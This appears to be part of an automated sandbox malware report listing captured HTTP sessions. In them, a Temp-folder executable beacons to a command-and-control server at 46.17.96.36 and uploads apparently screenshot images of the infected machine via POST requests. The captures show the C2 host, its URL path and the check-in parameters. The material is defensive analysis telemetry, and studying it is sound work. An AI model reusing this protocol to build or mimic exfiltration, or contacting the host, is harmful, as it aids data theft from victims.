Aug 29, 2021 22:29:04.922996998 CEST	18350	OUT	Data Raw: ff 00 0a eb c5 7e 5e 7c cf 9f 6e 3a e7 ca 38 a8 aa b9 92 5e 66 94 e5 ca db 3b 78 8d ff 00 8e ae 25 95 6e e6 b1 d0 23 72 91 88 4e d9 2e 48 ea 49 ec 3f cf 5a 98 78 0b c3 6c cc 96 93 4d 0d d2 7f cb 48 6e 89 91 4f af 7f e5 4e b1 f3 bf e1 56 47 fd 97 Data Ascii: ~^\|n:8^f;x%n#rN.HI?ZxlMHnONVG?'gwc9ktBg>c?s]49*rQv:9]H9+Gh+_SAJ\8%_oGZ(1ATY%oW/,98]?R,'{5
Aug 29, 2021 22:29:05.031271935 CEST	18369	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:29:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Aug 29, 2021 22:29:05.037400007 CEST	18369	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:29:05.113878965 CEST	18370	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:29:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
306	192.168.2.4	50045	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:29:05.363693953 CEST	18371	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:29:05.434000969 CEST	18384	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:29:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
307	192.168.2.4	50046	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:29:05.427823067 CEST	18371	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----8072a178dbdc6167b19235baefba2abc Host: 46.17.96.36 Content-Length: 107132 Cache-Control: no-cache
Aug 29, 2021 22:29:05.427963018 CEST	18371	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 38 30 37 32 61 31 37 38 64 62 64 63 36 31 36 37 62 31 39 32 33 35 62 61 65 66 62 61 32 61 62 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------8072a178dbdc6167b19235baefba2abcContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:29:05.428064108 CEST	18381	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:29:05.428138971 CEST	18384	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:29:05.462709904 CEST	18387	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:29:05.463027000 CEST	18398	OUT	Data Raw: 71 e8 69 3e c7 75 f6 98 6d be cb 3f 9f 38 43 14 5e 59 dd 20 7c 6d da 31 93 9c 8c 63 ae 6b 27 46 32 77 6f 52 d5 59 25 64 8f a0 f5 8f 88 1f 0f 13 c2 5a ed 8e 91 a9 e2 e6 f6 c6 68 51 3c 8b 8f 9d cc 6c 14 65 97 03 96 f6 af 9d 2a 79 ad 2e ad e1 86 69 Data Ascii: qi>um?8C^Y \|m1ck'F2woRY%dZhQ<le*y.i)yO$eVM\q$:&"[1I-$"&$1@UFL)QG4Z9)QERRR({sLJQKH(f@w(OxG?+,k4ja'P@9oa
Aug 29, 2021 22:29:05.463052988 CEST	18400	OUT	Data Raw: 00 77 35 ca 2f 89 75 a5 bc 9e e7 ed 70 b9 9e 14 82 48 64 b5 89 e0 31 a6 36 a8 84 a9 8c 05 c7 18 5e 39 c7 53 55 6f 75 4d 4b 53 8e e2 3b db b3 2a 5c 5c 0b 99 41 45 1b a4 0b b4 1e 07 40 a7 01 7a 01 d0 0a e5 f6 75 3f af 4b 7f c1 f5 3a 7d a5 36 ef fd Data Ascii: w5/upHd16^9SUouMKS;\\AE@zu?K:}6wvrxfEt_-t}NCy0ms;cqBVeq?u4Wv&4,11bsWX&obldP7\qqUV;cm\|#?eR7WX{H^_U`_YiOy
Aug 29, 2021 22:29:05.463463068 CEST	18403	OUT	Data Raw: b3 13 c9 24 f7 34 66 bb 23 b2 4c e4 95 9b 6d 0e f2 d4 f7 a4 31 0f 5a 4e 69 72 6a b4 27 51 3c 9f 7a 3c 93 4b b8 d2 ef 34 59 0e f2 19 e5 35 21 42 2a 5f 33 da 9d e6 0f 4a 2c 85 76 56 c1 f4 a5 c7 b5 58 dc a7 b5 38 04 3d a8 e4 0e 72 a5 15 68 c6 9d 8d Data Ascii: $4f#Lm1ZNirj'Q<z<K4Y5!B*_3J,vVX8=rh'Mjoy+dCKRy,)l;Qf;SNYQE%(QKLAEPEJ(,!(bbQE)iZ){!i`Z))EIAKE-)j,(SR>Sii:@PE-B
Aug 29, 2021 22:29:05.463489056 CEST	18405	OUT	Data Raw: 1f c3 56 c5 cb 8f 7a 91 6e bd 68 f6 70 7d 43 da 54 46 69 86 41 fc 26 9a 55 87 50 45 6b 7d a5 0f 55 14 be 64 2d d5 45 3f 63 17 b3 0f 6c fa a3 23 14 95 ae 52 dd bb 51 f6 4b 73 d3 8a 9f 62 fa 31 fb 75 d5 19 34 56 a9 d3 e3 3d 1a a3 3a 61 ec c2 97 b1 Data Ascii: Vznhp}CTFiA&UPEk}Ud-E?cl#RQKsb1u4V=:a{hx4e0KIt)TUijco"2;\KFKJp1J2n%-4!ih%8RSP(.($ZpSi,ZQIJ--%8SD;H.(&LShG.(>P!FmsG(s
Aug 29, 2021 22:29:05.463525057 CEST	18410	OUT	Data Raw: f4 b5 ad fd 75 3d b2 d3 5b b7 d7 e1 f0 fd f4 18 05 af 19 64 8f 39 28 e2 de 6c 8f f3 da bc 5b e3 3f fc 94 39 bf eb da 2f e5 5d 27 80 ee 58 f8 d6 ce 18 8b 25 b4 92 49 27 95 9c 80 44 52 01 f9 06 23 35 cd fc 65 ff 00 92 87 37 fd 7b c5 ff 00 a0 d7 95 Data Ascii: u=[d9(l[?9/]'X%I'DR#5e7{ZP[[gBs{GRKE%;oij}p&kN^.MH/<[B"<c/ci7qZ[S,*{{{KO^gr.ry/(A}+!76
Aug 29, 2021 22:29:05.498511076 CEST	18413	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:29:05.603530884 CEST	18479	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:29:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
308	192.168.2.4	50047	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:29:05.621556044 CEST	18480	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:29:05.707417011 CEST	18480	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:29:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
309	192.168.2.4	50048	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:29:06.120485067 CEST	18481	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:29:06.206125021 CEST	18571	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:29:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
31	192.168.2.4	49766	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:24.236601114 CEST	4366	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----6f2b8ec125833bffe61c308b0401688c Host: 46.17.96.36 Content-Length: 107127 Cache-Control: no-cache
Aug 29, 2021 22:27:24.236721992 CEST	4366	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 36 66 32 62 38 65 63 31 32 35 38 33 33 62 66 66 65 36 31 63 33 30 38 62 30 34 30 31 36 38 38 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------6f2b8ec125833bffe61c308b0401688cContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:27:24.236958981 CEST	4376	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:27:24.237090111 CEST	4379	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:27:24.269013882 CEST	4390	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:27:24.269076109 CEST	4399	OUT	Data Raw: 9f 7e e3 de bd 0a cb c6 cc be 2f 6b 7b b9 91 b4 bb f4 47 b3 90 0c 04 c8 c0 cf e3 90 73 d0 8a f3 6f f8 47 35 cf fa 02 ea 3f f8 0a ff 00 e1 52 1d 0b c4 0d 02 42 da 3e a2 51 09 2a 0d ab f1 9e bd bd 85 7a f5 f0 f8 7a ce ed ad ad fd 7a 1e 3d 0c 46 22 Data Ascii: ~/k{GsoG5?RB>Q*zzz=F"O{^U#ZxbATd0RGc_>)vz("<KNkKqvFvaqRiAQH((ZJ`R1@QE(((RE-((v)
Aug 29, 2021 22:27:24.269099951 CEST	4404	OUT	Data Raw: f4 b5 ad fd 75 3d b2 d3 5b b7 d7 e1 f0 fd f4 18 05 af 19 64 8f 39 28 e2 de 6c 8f f3 da bc 5b e3 3f fc 94 39 bf eb da 2f e5 5d 27 80 ee 58 f8 d6 ce 18 8b 25 b4 92 49 27 95 9c 80 44 52 01 f9 06 23 35 cd fc 65 ff 00 92 87 37 fd 7b c5 ff 00 a0 d7 95 Data Ascii: u=[d9(l[?9/]'X%I'DR#5e7{ZP[[gBs{GRKE%;oij}p&kN^.MH/<[B"<c/ci7qZ[S,*{{{KO^gr.ry/(A}+!76
Aug 29, 2021 22:27:24.301376104 CEST	4423	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:27:24.301445007 CEST	4431	OUT	Data Raw: 50 67 ce f8 cd 30 83 9e 6b e8 e5 f0 d6 88 07 fc 82 ed 7f ef 8a f3 3f 89 9a 7d 9d 95 cd 97 d9 2d a2 83 72 36 e1 18 c6 79 aa 85 5e 77 60 92 e5 3c 8e 93 14 99 a5 15 c6 7a 07 a6 fc 0d e3 c6 b7 bf f6 0e 7f fd 19 1d 7b ad f3 e2 df 1f de 60 3f af f4 af Data Ascii: Pg0k?}-r6y^w`<z{`?t}fA4;;;]> x!GVP)F{0T]Il;j\|~)k%o1)qIJ+,)i3@4uR)<:s^Q_YH;x~^S
Aug 29, 2021 22:27:24.301564932 CEST	4441	OUT	Data Raw: ff 00 0a eb c5 7e 5e 7c cf 9f 6e 3a e7 ca 38 a8 aa b9 92 5e 66 94 e5 ca db 3b 78 8d ff 00 8e ae 25 95 6e e6 b1 d0 23 72 91 88 4e d9 2e 48 ea 49 ec 3f cf 5a 98 78 0b c3 6c cc 96 93 4d 0d d2 7f cb 48 6e 89 91 4f af 7f e5 4e b1 f3 bf e1 56 47 fd 97 Data Ascii: ~^\|n:8^f;x%n#rN.HI?ZxlMHnONVG?'gwc9ktBg>c?s]49*rQv:9]H9+Gh+_SAJ\8%_oGZ(1ATY%oW/,98]?R,'{5
Aug 29, 2021 22:27:24.301887035 CEST	4454	OUT	Data Raw: 8b 23 4b 57 3f bb 91 1b e8 e0 d3 0e 93 27 a3 81 ea 56 98 10 9e d5 66 18 6e 38 d8 5d 7e 87 15 0d ce 3d 4a 8c 94 b6 45 53 a5 cd fc 3b 4f d4 e2 98 da 65 d0 ff 00 96 4c 7d c5 6f c1 0d e1 c6 66 63 ec 79 ad 6b 68 2e 4e 32 a8 df 55 ac 27 8b 94 0e da 58 Data Ascii: #KW?'Vfn8]~=JES;OeL}ofcykh.N2U'XgS&3nk<=b}0`htvG'=$&MbS:fk s4eA~"5b)Y#sC$:Xl,\|Ju6t?;5dUgO
Aug 29, 2021 22:27:24.415349960 CEST	4473	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
310	192.168.2.4	50049	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:29:06.120948076 CEST	18481	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----8072a178dbdc6167b19235baefba2abc Host: 46.17.96.36 Content-Length: 107132 Cache-Control: no-cache
Aug 29, 2021 22:29:06.121136904 CEST	18481	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 38 30 37 32 61 31 37 38 64 62 64 63 36 31 36 37 62 31 39 32 33 35 62 61 65 66 62 61 32 61 62 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------8072a178dbdc6167b19235baefba2abcContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:29:06.121397018 CEST	18492	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:29:06.121476889 CEST	18494	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:29:06.156353951 CEST	18497	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:29:06.156585932 CEST	18500	OUT	Data Raw: 71 e8 69 3e c7 75 f6 98 6d be cb 3f 9f 38 43 14 5e 59 dd 20 7c 6d da 31 93 9c 8c 63 ae 6b 27 46 32 77 6f 52 d5 59 25 64 8f a0 f5 8f 88 1f 0f 13 c2 5a ed 8e 91 a9 e2 e6 f6 c6 68 51 3c 8b 8f 9d cc 6c 14 65 97 03 96 f6 af 9d 2a 79 ad 2e ad e1 86 69 Data Ascii: qi>um?8C^Y \|m1ck'F2woRY%dZhQ<le*y.i)yO$eVM\q$:&"[1I-$"&$1@UFL)QG4Z9)QERRR({sLJQKH(f@w(OxG?+,k4ja'P@9oa
Aug 29, 2021 22:29:06.156620979 CEST	18503	OUT	Data Raw: ba 35 bf 88 de d6 e3 7c 45 70 f3 c4 b7 53 79 90 27 f7 5b 23 71 5f e2 0b 81 d3 0d 24 13 e8 cb e3 9f 08 c7 71 a7 6a 32 5f 79 1a 58 13 47 7c 89 10 3b 23 c6 63 30 93 c7 71 bf 9f 6a f3 61 0c 7e 94 a2 14 03 00 70 69 c6 8c 93 bd fa df f3 ff 00 30 9d 65 Data Ascii: 5\|EpSy'[#q_$qj2_yXG\|;#c0qja~pi0e+hwxv+u0\?U?]Lo.<N\|Wr6D$?m9A8q/A=*VVbMobiGFb)\|lJ(EQ!EPIKI@QQbQ@
Aug 29, 2021 22:29:06.156642914 CEST	18510	OUT	Data Raw: 24 05 14 62 8c 52 18 62 83 4b 48 69 88 4a 28 a2 90 c4 34 52 d2 e2 80 1b 8a 29 d8 a4 a0 04 14 b4 86 96 80 12 96 93 bd 2f 6a 00 28 a2 8a 00 29 45 27 7a 5e d4 00 51 47 6a 05 31 0b 45 14 50 20 a2 96 8a 60 14 b4 52 53 10 51 45 2d 00 14 b4 51 40 0b 45 Data Ascii: $bRbKHiJ(4R)/j()E'z^QGj1EP `RSQE-Q@E(QE--)(P)ZZJQS4Z(dKIKL)hRP)xQuU3N%@ip34$S4iSdUA5.6Sbj}+"zc4Z2c1J.=-.(p
Aug 29, 2021 22:29:06.156845093 CEST	18515	OUT	Data Raw: b3 13 c9 24 f7 34 66 bb 23 b2 4c e4 95 9b 6d 0e f2 d4 f7 a4 31 0f 5a 4e 69 72 6a b4 27 51 3c 9f 7a 3c 93 4b b8 d2 ef 34 59 0e f2 19 e5 35 21 42 2a 5f 33 da 9d e6 0f 4a 2c 85 76 56 c1 f4 a5 c7 b5 58 dc a7 b5 38 04 3d a8 e4 0e 72 a5 15 68 c6 9d 8d Data Ascii: $4f#Lm1ZNirj'Q<z<K4Y5!B*_3J,vVX8=rh'Mjoy+dCKRy,)l;Qf;SNYQE%(QKLAEPEJ(,!(bbQE)iZ){!i`Z))EIAKE-)j,(SR>Sii:@PE-B
Aug 29, 2021 22:29:06.156948090 CEST	18520	OUT	Data Raw: f4 b5 ad fd 75 3d b2 d3 5b b7 d7 e1 f0 fd f4 18 05 af 19 64 8f 39 28 e2 de 6c 8f f3 da bc 5b e3 3f fc 94 39 bf eb da 2f e5 5d 27 80 ee 58 f8 d6 ce 18 8b 25 b4 92 49 27 95 9c 80 44 52 01 f9 06 23 35 cd fc 65 ff 00 92 87 37 fd 7b c5 ff 00 a0 d7 95 Data Ascii: u=[d9(l[?9/]'X%I'DR#5e7{ZP[[gBs{GRKE%;oij}p&kN^.MH/<[B"<c/ci7qZ[S,*{{{KO^gr.ry/(A}+!76
Aug 29, 2021 22:29:06.193382978 CEST	18523	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:29:06.301801920 CEST	18590	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:29:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
311	192.168.2.4	50050	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:29:06.410758018 CEST	18591	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:29:06.491009951 CEST	18591	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:29:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0
